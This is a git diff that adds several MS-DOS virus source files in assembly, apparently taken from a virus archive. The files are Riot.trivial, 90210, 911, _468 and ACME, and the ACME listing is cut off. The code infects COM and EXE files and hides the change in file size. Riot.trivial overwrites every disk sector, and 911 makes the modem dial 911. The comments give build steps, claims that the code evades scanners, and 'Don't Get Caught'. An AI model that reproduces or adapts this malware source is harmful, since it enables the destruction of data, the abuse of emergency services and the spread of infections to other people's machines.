+; - The Unforgiven/Immortal Riot + + + ;Riot.trivial.80h + +.model tiny +.code +org 100h + +start: +dec byte ptr offset files ; tricking tbscan ! +add ah,4eh ; tricking f-prot ! +mov dx, offset files +next: int 21h + +jnc open + +mov ah,2ch ; Value of 1/100 of a second +int 21h +cmp dl,79 ; 20% +jb quit ; + +mov al,2h + +drive: ; Harddrive, seek and destroy! +mov cx,1 +lea bx,virus +cwd ; clear dx (ax = <8000h) +Next_Sector: +int 26h +inc dx +jnc next_sector ; all sectors +inc al +jmp short drive ; all drives + +quit: +ret + +open: +inc byte ptr offset files + +add ax,3d02h +mov dx, offset 9eh +int 21h + +write: +xchg ax,bx + +mov ah,40h +mov dx, offset start +mov cx, endoffile - start +int 21h + +close: +sub ah,2 +int 21h + +mov ah,4fh +jmp short next + +data: +files db "+.*",0 ; => *.* +virus db "Materialism - the religion of today, " +truth db "ain't it sad?" + +endoffile: +end start diff --git a/0-9/90210.ASM b/0-9/90210.ASM new file mode 100755 index 0000000..6c7fe8a --- /dev/null +++ b/0-9/90210.ASM @@ -0,0 +1,377 @@ +From smtp Tue Feb 7 13:13 EST 1995 +Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:13 EST +Received: by lynx.dac.neu.edu (8.6.9/8.6.9) + id NAA30823 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:16:19 -0500 +Date: Tue, 7 Feb 1995 13:16:19 -0500 +From: lynx.dac.neu.edu!ekilby (Eric Kilby) +Content-Length: 8866 +Content-Type: text +Message-Id: <199502071816.NAA30823@lynx.dac.neu.edu> +To: pobox.jwu.edu!joshuaw +Subject: (fwd) 90210 +Newsgroups: alt.comp.virus +Status: O + +Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.alpha.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm +From: danishm@iia.org () +Newsgroups: alt.comp.virus +Subject: 90210 +Date: 5 Feb 1995 21:55:07 GMT +Organization: International Internet Association. +Lines: 345 +Message-ID: <3h3hfr$sb@ankh.iia.org> +NNTP-Posting-Host: iia.org +X-Newsreader: TIN [version 1.2 PL2] + +Here is the 90210 virus: + +;90210 Virus from the TridenT virus research group. + +;This is a semi-stealth virus that hides file-size changes while +;it is in memory. It marks the files w/the timestamp. It will +;infect COM files on open, execute, delete, and rename. It checks +;if it is in memory by calling Int 21h with DEADh in AX and uses MCB's +;to go memory resident. + +;Disassembly by Black Wolf + +.model tiny +.code + + org 100h + +start: + push ax + call GetOffset + +GetOffset: + pop bp + sub bp,offset GetOffset-start + + mov ax,0DEADh + int 21h ;Are we installed? + cmp ax,0AAAAh + je DoneInstall + + mov ax,3521h + int 21h ;Get int 21 address + + db 2eh, 89h,9eh,77h,0h ;mov cs:[OldInt21-start+bp],bx + db 2eh, 8ch, 86h, 79h, 0 ;mov word ptr cs:[OldInt21-start+2+bp],es + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds:[0],'Z' + jne DoneInstall ;Are we the last block in chain? + + mov ax,ds:[3] ;Get MCB size + sub ax,38h ;subtract virus memory size + jc DoneInstall ;exit if virus > MCB + + mov ds:[3],ax ;Set MCB size + ;sub word ptr ds:[12h],38h ;Subtract virus mem from + db 81h,2eh,12h,0,38h,0 ;top of memory in PSP + + mov si,bp + mov di,0 + mov es,ds:[12h] ;Get top of memory from PSP + push cs + pop ds + mov cx,287h + cld + rep movsb ;Copy virus into memory + + mov ax,2521h + push es + pop ds + mov dx,offset Int21Handler-start + int 21h ;Set int 21h + +DoneInstall: + mov di,100h + lea si,[bp+Storage_Bytes-start] + push cs + push cs + pop ds + pop es + cld + movsw + movsb ;Restore Host file. + mov bx,offset start + pop ax + push bx + retn ;Return to Host + + +VirusName db '[90210 BH]' + +OldInt21: + dw 0 + dw 0 + +Int21Handler: + cmp ax,0DEADh ;Install Check? + jne NotInstall + mov ax,0AAAAh + iret +NotInstall: + + cmp ah,11h ;FCB find first + je FCBSearch + cmp ah,12h ;FCB find next + je FCBSearch + cmp ah,4Eh ;handle find first + je HandleSearch + cmp ah,4Fh ;handle find next + je HandleSearch + + push ax bx cx dx si di bp ds es + + cmp ah,3Dh ;handle file open + je SetupNameCheck + cmp ax,4B00h ;file execute + je SetupNameCheck + cmp ah,41h ;handle file delete + je SetupNameCheck + cmp ah,43h ;get/set attributes + je SetupNameCheck + cmp ah,56h ;rename file + je SetupNameCheck + + cmp ah,0Fh ;Open file w/FCB + je TryToInfect + cmp ah,23h + je TryToInfect ;Get file size + jmp ExitInfect + +FCBSearch: + jmp FCBStealth +HandleSearch: + jmp HandleStealth + +TryToInfect: + db 89h,0d6h ;mov si,dx + + inc si + push cs + pop es + mov di,offset ds:[Filename-start] ;Copy filename + mov cx,8 + rep movsb + mov cx,3 + inc di + rep movsb + + mov dx,Filename-start + push cs + pop ds + +SetupNameCheck: + db 89h, 0d6h ;mov si,dx + mov cx,100h + cld + +Find_Extension: + lodsb + cmp al,'.' ;Find '.' + je CheckFilename + loop Find_Extension + db 0e9h, 13h, 0 ;jmp FilenameBad +CheckFilename: + lodsw + or ax,2020h ;Set to lowercase + cmp ax,6F63h ;Is it a com file? + jne FilenameBad + lodsb + or al,20h + cmp al,6Dh + jne FilenameBad + db 0e9h, 3, 0 ;jmp InfectFile + +FilenameBad: + jmp ExitInfect + +InfectFile: + push dx + push ds + mov ax,4300h + pushf + call dword ptr cs:[OldInt21-start] ;Get Attributes + mov word ptr cs:[FileAttribs-start],cx ;Save them + + mov ax,4301h + xor cx,cx + pushf + call dword ptr cs:[OldInt21-start] ;Reset Attribs to 0 + + mov ax,3D02h + pushf + call dword ptr cs:[OldInt21-start] ;Open file + jnc OpenGood + jmp FileClosed + +OpenGood: + xchg ax,bx + mov ax,5700h + pushf + call dword ptr cs:[OldInt21-start] ;Get file time/date + mov word ptr cs:[FileTime-start],cx ;save time + mov word ptr cs:[FileDate-start],dx ;save date + + and cx,1Fh + cmp cx,1Fh + jne NotInfected ;Check infection + db 0e9h, 76h, 0 ;jmp Close_File +NotInfected: + mov ah,3Fh + push cs + pop ds + mov dx,Storage_Bytes-start + mov cx,3 + pushf + call dword ptr cs:[OldInt21-start] ;Read in first 3 bytes + + cmp word ptr cs:[Storage_Bytes-start],5A4Dh + je DoneWithFile ;Is it an .EXE file? + + cmp word ptr cs:[Storage_Bytes-start],4D5Ah + je DoneWithFile ;Alternate EXE sig? + + mov ax,4202h + xor cx,cx + xor dx,dx + pushf + call dword ptr cs:[OldInt21-start] ;Go end of file. + + sub ax,3 ;Save jump size + mov word ptr cs:[Jump_Bytes-start+1],ax + + mov ah,40h + push cs + pop ds + mov dx,0 + mov cx,287h + pushf + call dword ptr cs:[OldInt21-start] ;Append virus to file + + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h ;go back to beginning + + mov ah,40h + mov dx,Jump_Bytes-Start + mov cx,3 + pushf + call dword ptr cs:[OldInt21-start] ;Write in jump + or word ptr cs:[FileTime-start],1Fh ;Mark as infected + +DoneWithFile: + mov ax,5701h + mov cx,word ptr cs:[FileTime-start] + mov dx,word ptr cs:[FileDate-start] + pushf + call dword ptr cs:[OldInt21-start] ;Restore File Date/Time + +Close_File: + mov ah,3Eh + pushf + call dword ptr cs:[OldInt21-start] ;Close file + + pop ds + pop dx ;Pop filename address + push dx + push ds + mov ax,4301h + mov cx,ds:[FileAttribs-start] + pushf + call dword ptr cs:[OldInt21-start] ;Restore attributes + +FileClosed: + pop ds + pop dx + +ExitInfect: + pop es ds bp di si dx cx bx ax + jmp dword ptr cs:[OldInt21-start] ;Jump back into Int 21h + +GetDTA: + pop si + pushf + push ax bx es + mov ah,2Fh + call CallInt21 + jmp si + +FCBStealth: + call CallInt21 + cmp al,0 ;Did call work? + jne NoStealth + call GetDTA + cmp byte ptr es:[bx],0FFh ;Extended FCB? + jne AfterFCBAdjust + add bx,8 + +AfterFCBAdjust: + mov al,es:[bx+16h] ;Get time stamp + and al,1Fh + cmp al,1Fh ;infected? + jne DoneFCBStealth + + sub word ptr es:[bx+1Ch],287h ;Subtract virus size + sbb word ptr es:[bx+1Eh],0 ;adjust for carry + jmp short ResetTime + +HandleStealth: + call CallInt21 + jc NoStealth + call GetDTA + mov al,es:[bx+16h] ;Get file time + and al,1Fh + cmp al,1Fh + jne DoneFCBStealth + sub word ptr es:[bx+1Ah],287h ;Subtract virus size + sbb word ptr es:[bx+1Ch],0 ;adjust for carry + +ResetTime: + xor byte ptr es:[bx+16h],10h ;Restore time to norm. + +DoneFCBStealth: + pop es bx ax + popf + +NoStealth: + retf 2 + +CallInt21: + pushf + call dword ptr cs:[OldInt21-start] + retn + +Storage_Bytes: + nop + int 21h + +Filename db 8 dup (0) + db '.' +Extension db 3 dup (0) + db 0 + +FileAttribs dw 0 +FileTime dw 0 +FileDate dw 0 + +Jump_Bytes db 0E9h, 00h, 00h + +AuthorName db ' John Tardy / TridenT ' + +end start + + +-- +Eric "Mad Dog" Kilby maddog@ccs.neu.edu +The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu +Student at the Northeatstern University College of Computer Science +"I Can't Believe It's Not Butter" + diff --git a/0-9/911.asm b/0-9/911.asm new file mode 100755 index 0000000..a696f1f --- /dev/null +++ b/0-9/911.asm @@ -0,0 +1,631 @@ +PAGE 59,132 + +; +; +; 911 Virus +; +; This program is the 911 Virus. Use at your own risk. When the +; manipulation task begins, it will dial 911 through your modem +; and display "Support Your Police" on the screen. +; +; Assemble under Borland's Turbo Asm 2.x +; Link - ignore no stack segment error +; run EXE2BIN 911.EXE 911.COM +; +; And remember ... Don't Get Caught. +; +; + +data_1e equ 0FE12h ;* +data_2e equ 437h ;* +data_3e equ 438h ;* +psp_envirn_seg equ 2Ch +psp_cmd_size equ 80h +psp_cmd_tail equ 81h +data_37e equ 541h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + org 100h + +v911 proc far + +start: + jmp loc_40 + +v911 endp + +; +; +; External Entry Point +; +; + +int_21h_entry proc far + pushf ; Push flags + cmp ah,0E0h + jne loc_3 ; Jump if not equal + mov ax,0DADAh + popf ; Pop flags + iret ; Interrupt return +int_21h_entry endp + +loc_3: + cmp ah,0E1h + jne loc_4 ; Jump if not equal + mov ax,cs + popf ; Pop flags + iret ; Interrupt return +loc_4: + cmp ax,4B00h + je loc_7 ; Jump if equal +loc_5: + popf ; Pop flags + jmp dword ptr cs:data_5 +data_5 dd 29A138Dh +data_7 dd 70022Bh +data_9 db 0 +data_10 db 8 +data_11 db 10h +data_12 db 9 +data_13 db 34h +data_14 dw 0 + db 0 +data_15 db 0 +data_16 db 0 +data_17 db 0 +data_18 db 43h + db 4Fh, 4Dh +data_19 dw 5 +data_20 dw 2 + db 0, 0 +data_21 dw 1301h +data_22 dw 12ACh +data_23 dw 0FFFEh +data_24 dw 9B70h +data_25 dw 3D5Bh +data_26 dw 20h +data_27 dw 0EC2h +data_28 dw 6E68h + db 00h, 00h, 81h, 00h +data_29 dw 12ACh + db 5Ch, 00h +data_30 dw 12ACh + db 6Ch, 00h +data_31 dw 12ACh +loc_7: + push ds + push bx + push si + push cx + push ax + push dx + push bp + push es + push di + cld ; Clear direction + push dx + push ds + xor cx,cx ; Zero register + mov si,dx +loc_8: + mov al,[si] + cmp al,0 + je loc_9 ; Jump if equal + inc cx + inc si + jmp short loc_8 +loc_9: + add dx,cx + sub dx,3 + mov si,offset data_18 + mov di,dx + cmp byte ptr [di-3],4Eh ; 'N' + jne loc_10 ; Jump if not equal + cmp byte ptr [di-2],44h ; 'D' + je loc_13 ; Jump if equal +loc_10: + mov cx,3 + +locloop_11: + mov al,cs:[si] + cmp al,[di] + jne loc_13 ; Jump if not equal + inc si + inc di + loop locloop_11 ; Loop if cx > 0 + + pop ds + pop dx + push dx + push ds + mov si,dx + mov dl,0 + cmp byte ptr [si+1],3Ah ; ':' + jne loc_12 ; Jump if not equal + mov dl,[si] + and dl,0Fh +loc_12: + mov ah,36h ; '6' + int 21h ; DOS Services ah=function 36h + ; get drive info, drive dl,1=a: + ; returns ax=clust per sector + ; bx=avail clust,cx=bytes/sect + ; dx=clusters per drive + cmp ax,0FFFFh + je loc_13 ; Jump if equal + jmp short loc_15 + db 90h +loc_13: + jmp loc_21 + jmp loc_22 +loc_14: + jmp loc_19 + jmp loc_20 +loc_15: + cmp bx,3 + jb loc_13 ; Jump if below + pop ds + pop dx + push ds + push dx + mov cs:data_24,ds + mov cs:data_25,dx + mov ax,4300h + int 21h ; DOS Services ah=function 43h + ; get attrb cx, filename @ds:dx + mov cs:data_26,cx + mov ax,4301h + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + mov bx,0FFFFh + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov cs:data_21,ax + mov ax,cs + mov ds,ax + mov dx,data_37e + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + pop dx + pop ds + mov ax,3D02h + clc ; Clear carry flag + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_14 ; Jump if carry Set + mov bx,ax + mov cs:data_19,ax + mov cx,0FFFFh + mov ax,cs:data_21 + mov ds,ax + mov dx,data_2e + mov ah,3Fh ; '?' + clc ; Clear carry flag + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + jc loc_14 ; Jump if carry Set + mov cs:data_20,ax + cmp ax,0E000h + ja loc_14 ; Jump if above + cmp ax,437h + jb loc_17 ; Jump if below + mov si,data_3e + add si,si + sub si,15h + mov cx,13h + mov di,offset data_35 + +locloop_16: + mov al,[si] + mov ah,cs:[di] + cmp ah,al + jne loc_17 ; Jump if not equal + inc si + inc di + loop locloop_16 ; Loop if cx > 0 + + jmp short loc_19 + db 90h +loc_17: + mov ax,4200h + mov bx,cs:data_19 + xor cx,cx ; Zero register + mov dx,cx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_19 ; Jump if carry Set + mov si,100h + mov cx,437h + xor di,di ; Zero register + mov ax,cs:data_21 + mov ds,ax + +locloop_18: + mov al,cs:[si] + mov [di],al + inc si + inc di + loop locloop_18 ; Loop if cx > 0 + + mov ax,5700h + mov bx,cs:data_19 + int 21h ; DOS Services ah=function 57h + ; get file date+time, bx=handle + ; returns cx=time, dx=time + mov cs:data_28,cx + mov cs:data_27,dx + mov ax,cs:data_21 + mov ds,ax + mov si,data_2e + mov al,[si] + add al,0Bh + mov [si],al + xor dx,dx ; Zero register + mov cx,cs:data_20 + add cx,437h + mov bx,cs:data_19 + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov cx,cs:data_28 + mov dx,cs:data_27 + mov bx,cs:data_19 + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time +loc_19: + mov bx,cs:data_19 + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + push cs + pop ds +loc_20: + mov dx,psp_cmd_size + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + mov ax,cs:data_21 + mov es,ax + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov ax,cs:data_24 + mov ds,ax + mov dx,cs:data_25 + mov ax,4301h + mov cx,cs:data_26 + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + jmp short loc_22 + db 90h +loc_21: + pop ds + pop dx + jmp short loc_22 + db 90h +loc_22: + pop di + pop es + pop bp + pop dx + pop ax + pop cx + pop si + pop bx + pop ds + jmp loc_5 + +; +; +; External Entry Point +; +; + +int_08h_entry proc far + push bp + push ds + push es + push ax + push bx + push cx + push dx + push si + push di + pushf ; Push flags + call cs:data_7 + call sub_1 + push cs + pop ds + mov ah,5 + mov ch,data_11 + cmp ah,ch + ja loc_24 ; Jump if above + mov ah,6 + cmp ah,ch + jb loc_24 ; Jump if below + mov ah,data_9 + cmp ah,1 + je loc_23 ; Jump if equal + mov ah,1 + mov data_9,ah + jmp short loc_24 + db 90h +loc_23: + call sub_2 + inc data_14 + mov ax,data_14 + cmp ax,21Ch + jne loc_24 ; Jump if not equal + xor ax,ax ; Zero register + mov data_9,ah + mov data_14,ax + mov data_16,ah +loc_24: + pop di + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + pop bp + iret ; Interrupt return +int_08h_entry endp + + +; +; SUBROUTINE +; + +sub_1 proc near + push cs + pop ds + xor al,al ; Zero register + mov ah,data_10 + cmp ah,11h + jne loc_28 ; Jump if not equal + mov ah,data_13 + cmp ah,3Bh ; ';' + jne loc_29 ; Jump if not equal + mov ah,data_12 + cmp ah,3Bh ; ';' + jne loc_30 ; Jump if not equal + mov ah,data_11 + cmp ah,17h + jne loc_31 ; Jump if not equal + mov data_11,al +loc_25: + mov data_12,al +loc_26: + mov data_13,al +loc_27: + mov data_10,al + retn +loc_28: + inc data_10 + retn +loc_29: + inc data_13 + jmp short loc_27 +loc_30: + inc data_12 + jmp short loc_26 +loc_31: + inc data_11 + jmp short loc_25 +sub_1 endp + +data_32 db '+++aTh0m0s7=35dp911' + db 7 dup (2Ch) + +; +; SUBROUTINE +; + +sub_2 proc near + mov al,data_16 + cmp al,1 + je loc_ret_39 ; Jump if equal + mov al,data_17 + cmp al,1 + je loc_33 ; Jump if equal + mov cx,3 + +locloop_32: + mov dx,cx + xor ah,ah ; Zero register + mov al,83h + int 14h ; RS-232 dx=com4, ah=func 00h + ; reset port, al=init parameter + loop locloop_32 ; Loop if cx > 0 + + mov al,1 + mov data_17,al + jmp short loc_ret_39 + db 90h +loc_33: + push cs + pop ds + mov si,offset data_32 ; ('+++aTh0m0s7=35dp911') + mov al,data_15 + cmp al,1Ah + jne loc_36 ; Jump if not equal + jmp short loc_37 + db 90h +loc_36: + xor ah,ah ; Zero register + add si,ax + mov al,[si] + mov dx,3F8h + out dx,al ; port 3F8h, RS232-1 xmit buffr + mov dx,2F8h + out dx,al ; port 2F8h, RS232-2 xmit buffr + mov dx,2E8h + out dx,al ; port 2E8h, 8514 Horiz total + mov dx,3E8h + out dx,al ; port 3E8h ??I/O Non-standard + inc data_15 + jmp short loc_ret_39 + db 90h +loc_37: + mov cx,3 + +locloop_38: + mov dx,cx + mov al,0Dh + mov ah,1 + int 14h ; RS-232 dx=com4, ah=func 01h + ; write char al, ah=retn status + loop locloop_38 ; Loop if cx > 0 + + mov ax,1 + mov data_16,al + mov data_15,ah + mov data_17,ah + +loc_ret_39: + retn +sub_2 endp + +loc_40: + mov ah,0E0h + int 21h ; ??INT Non-standard interrupt + cmp ax,0DADAh + jne loc_41 ; Jump if not equal + jmp loc_44 +loc_41: + push cs + pop ds + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov word ptr data_5,bx + mov word ptr data_5+2,es + mov dx,offset int_21h_entry + mov ax,2521h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,3508h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov word ptr data_7,bx + mov word ptr data_7+2,es + mov dx,offset int_08h_entry + mov ax,2508h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + mov data_11,ch + mov data_12,cl + mov data_13,dh + mov ax,cs:psp_envirn_seg + mov ds,ax + xor si,si ; Zero register +loc_42: + mov al,[si] + cmp al,1 + je loc_43 ; Jump if equal + inc si + jmp short loc_42 +loc_43: + inc si + inc si + mov dx,si + mov ax,cs + mov es,ax + mov bx,5Ah + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change memory allocation + ; bx=bytes/16, es=mem segment + mov bx,cs:psp_cmd_tail + mov ax,cs + mov es,ax + mov cs:data_30,ax + mov cs:data_31,ax + mov cs:data_29,ax + mov ax,4B00h + mov cs:data_22,ss + mov cs:data_23,sp + pushf ; Push flags + call cs:data_5 + mov ax,cs:data_22 + mov ss,ax + mov ax,cs:data_23 + mov sp,ax + mov ax,cs + mov ds,ax + mov dx,537h + int 27h ; Terminate & stay resident + ; dx=offset last byte+1, cs=PSP +loc_44: + mov ah,0E1h + int 21h ; ??INT Non-standard interrupt + mov si,4F3h + mov cs:[si+3],ax + mov ax,4F8h + mov cs:[si+1],ax + mov ax,cs:data_20 + mov bx,cs +;* jmp far ptr loc_1 ;* + db 0EAh, 00h, 00h, 00h, 00h + db 8Bh,0C8h, 8Eh,0DBh + db 0BEh, 00h, 01h + db 0BFh, 37h, 05h + +locloop_45: + mov al,[di] + mov [si],al + inc si + inc di + loop locloop_45 ; Loop if cx > 0 + + mov si,51Fh + mov cs:[si+3],ds + mov al,byte ptr ds:[100h] + sub al,0Bh + mov byte ptr ds:[100h],al + mov ax,ds + mov es,ax + mov ss,ax + jmp far ptr start +data_35 db 'Support Your Police' +data_36 db 0D8h + db 20h + +seg_a ends + + + + end start + +; +; This quality file was downloaded from +; +; E X T R E M E +; ------------+------------ Ŀ +; /|\ +; / | \ Portland Metro All Text BBS +; / | \ +; / | \ 9600: 503-775-0374 +; / | \ SysOp: Thing One +; / | \ +; / | \ +; d r e a m e s + \ No newline at end of file diff --git a/0-9/_468.ASM b/0-9/_468.ASM new file mode 100755 index 0000000..4ed4869 --- /dev/null +++ b/0-9/_468.ASM @@ -0,0 +1,257 @@ +; virus from ALT-11 mag + +; --------------------------------------- +; +; Coded by: Azagoth +; --------------------------------------- +; Assemble using Turbo Assembler: +; tasm /m2 .asm +; tlink /t .obj +; --------------------------------------------------------------------------- +; - Non-Overwriting .COM infector (excluding COMMAND.COM) +; - COM growth: XXX bytes +; - It searches the current directory for uninfected files. If none are +; found, it searches previous directory until it reaches root and no more +; uninfected files are found. (One infection per run) +; - Also infects read-only files +; - Restores attributes, initial date/time-stamps, and original path. +; --------------------------------------------------------------------------- + + .model tiny + .code + + org 100h ; adjust for psp + +start: + + call get_disp ; push ip onto stack +get_disp: + pop bp ; bp holds current ip + sub bp, offset get_disp ; bp = code displacement + + ; original label offset is stored in machine code + ; so new (ip) - original = displacement of code + +save_path: + mov ah, 47h ; save cwd + xor dl, dl ; 0 = default drive + lea si, [bp + org_path] + int 21h + +get_dta: + mov ah, 2fh + int 21h + + mov [bp + old_dta_off], bx ; save old dta offset + +set_dta: ; point to dta record + mov ah, 1ah + lea dx, [bp + dta_filler] + int 21h + +search: + mov ah, 4eh ; find first file + mov cx, [bp + search_attrib] ; if successful dta is + lea dx, [bp + search_mask] ; created + int 21h + jnc clear_attrib ; if found, continue + +find_next: + mov ah, 4fh ; find next file + int 21h + jnc clear_attrib + +still_searching: + mov ah, 3bh + lea dx, [bp + previous_dir] ; cd .. + int 21h + jnc search + jmp bomb ; at root, no more files + +clear_attrib: + mov ax, 4301h + xor cx, cx ; get rid of attributes + lea dx, [bp + dta_file_name] + int 21h + +open_file: + mov ax, 3D02h ; AL=2 read/write + lea dx, [bp + dta_file_name] + int 21h + + xchg bx, ax ; save file handle + ; bx won't change from now on +check_if_command_com: + cld + lea di, [bp + com_com] + lea si, [bp + dta_file_name] + mov cx, 11 ; length of 'COMMAND.COM' + repe cmpsb ; repeat while equal + jne check_if_infected + jmp close_file + +check_if_infected: + mov dx, word ptr [bp + dta_file_size] ; only use first word since + ; COM file + sub dx, 2 ; file size - 2 + + mov ax, 4200h + mov cx, 0 ; cx:dx ptr to offset from + int 21h ; origin of move + + mov ah, 3fh ; read last 2 characters + mov cx, 2 + lea dx, [bp + last_chars] + int 21h + + mov ah, [bp + last_chars] + cmp ah, [bp + virus_id] + jne save_3_bytes + mov ah, [bp + last_chars + 1] + cmp ah, [bp + virus_id + 1] + jne save_3_bytes + jmp close_file + +save_3_bytes: + mov ax, 4200h ; 00=start of file + xor cx, cx + xor dx, dx + int 21h + + mov ah, 3Fh + mov cx, 3 + lea dx, [bp + _3_bytes] + int 21h + +goto_eof: + mov ax, 4202h ; 02=End of file + xor cx, cx ; offset from origin of move + xor dx, dx ; (i.e. nowhere) + int 21h ; ax holds file size + + ; since it is a COM file, overflow will not occur + +save_jmp_displacement: + sub ax, 3 ; file size - 3 = jmp disp. + mov [bp + jmp_disp], ax + +write_code: + mov ah, 40h + mov cx, virus_length ;*** equate + lea dx, [bp + start] + int 21h + +goto_bof: + mov ax, 4200h + xor cx, cx + xor dx, dx + int 21h + +write_jmp: ; to file + mov ah, 40h + mov cx, 3 + lea dx, [bp + jmp_code] + int 21h + + inc [bp + infections] + +restore_date_time: + mov ax, 5701h + mov cx, [bp + dta_file_time] + mov dx, [bp + dta_file_date] + int 21h + +close_file: + mov ah, 3eh + int 21h + +restore_attrib: + xor ch, ch + mov cl, [bp + dta_file_attrib] ; restore original attributes + mov ax, 4301h + lea dx, [bp + dta_file_name] + int 21h + +done_infecting?: + mov ah, [bp + infections] + cmp ah, [bp + max_infections] + jz bomb + jmp find_next + + +bomb: + +; cmp bp, 0 +; je restore_path ; original run +; +;---- Stuff deleted + +restore_path: + mov ah, 3bh ; when path stored + lea dx, [bp + root] ; '\' not included + int 21h + + mov ah, 3bh ; cd to original path + lea dx, [bp + org_path] + int 21h + +restore_dta: + mov ah, 1ah + mov dx, [bp + old_dta_off] + int 21h + +restore_3_bytes: ; in memory + lea si, [bp + _3_bytes] + mov di, 100h + cld ; auto-inc si, di + mov cx, 3 + rep movsb + +return_control_or_exit?: + cmp bp, 0 ; bp = 0 if original run + je exit + mov di, 100h ; return control back to prog + jmp di ; -> cs:100h + +exit: + mov ax, 4c00h + int 21h + +;-------- Variable Declarations -------- + +old_dta_off dw 0 ; offset of old dta address + +;-------- dta record +dta_filler db 21 dup (0) +dta_file_attrib db 0 +dta_file_time dw 0 +dta_file_date dw 0 +dta_file_size dd 0 +dta_file_name db 13 dup (0) +;-------- +search_mask db '*.COM',0 ; files to infect: *.COM +search_attrib dw 00100111b ; all files a,s,h,r +com_com db 'COMMAND.COM' + +previous_dir db '..',0 +root db '\',0 +org_path db 64 dup (0) ; original path + +infections db 0 ; counter +max_infections db 1 + +_3_bytes db 0, 0, 0 +jmp_code db 0E9h +jmp_disp dw 0 + +last_chars db 0, 0 ; do last chars = ID ? + +virus_id db 'AZ' + +eov: ; end of virus + +virus_length equ offset eov - offset start + + end start + + \ No newline at end of file diff --git a/a/ACME.ASM b/a/ACME.ASM new file mode 100755 index 0000000..1a442ce --- /dev/null +++ b/a/ACME.ASM @@ -0,0 +1,300 @@ +; ACME COMPANION VIRUS for Crypt Newsletter 9 +; +; ACME is a fast and simple companion virus which will create a +; spawned copy of itself for EVERY .EXE file it can find in the +; current directory. +; +; ACME is ready to assemble using A86. If you recall, an earlier Crypt +; letter included an A86-only source listing. (Strict TASM/MASM compatible +; assemblers will need the manual addition of a couple simple declarative +; statements.) I included ACME in this form so fans of Isaacson's +; technique can gloat about the code not requiring "red tape." ;-] +; A86 will assemble ACME directly to a .COMfile virus, no linker +; necessary. +; +; ACME currently eludes all scanners and as a companion virus, openly +; defies every integrity checker I have in my inventory with the EXCEPTION +; of Stiller Research's. This issue includes a quality report on +; Solomon's Toolkit, so it's only fair to state that while the documentation +; for this product seems to indicate that the developers know what a +; companion infection is, the software does nothing to protect against +; it in default mode. ACME flies through the Toolkit, for now. Go figure. +; +; ACME will also play a generic ACME-style virus tune late in the +; afternoon. Those who fancy a musical virus but have never heard one are +; encouraged to play with ACME. Set your system clock to anytime after +; 4:00 pm. The musical payload takes up most of the space in this virus, +; removing it shaves the virus to 242 bytes - nice and small if you like. +; +; The virus purist may recognize the root of ACME as a piece of code known +; as ZENO - a small, single-step companion infector. ZENO's author is +; thanked, wherever he/she is. + + +START: + + jmp VIR_BEGIN ; get going + + +WILDCARD DB "*.EXE",0 +FILE_EXT DB "COM",0 +FILE_FOUND DB 12 DUP(' '), 0 +FILE_CREATE DB 12 DUP(' '), 0 +SEARCH_ATTRIB DW 17H +NUM_INFECT DW 0 +MUZIK DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay + DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy + DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, + DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, + DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, + DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, + DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, + DW 3043,0006, 5119,0006, 5423,0006, 3043,0006, + DW 6087,0020, + + DW 6087,0006, + DW 7239,0006, 3619,0006, 4831,0006, 6087,0006 + DW 7670,0006, 7239,0006, 4831,0006, 3619,0006 + + DW 6087,0006, 4063,0006, 3043,0006, 5119,0006 + DW 4831,0006, 6087,0006, 7239,0006, 8126,0006 + DW 6087,0020, + + DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, + DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, + DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, + DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, + DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, + DW 3043,0006, 5119,0006, 5423,0006, 3043,0006, + DW 6087,0020, + + DW 6087,0006, + DW 7239,0006, 3619,0006, 4831,0006, 6087,0006 + DW 7670,0006, 7239,0006, 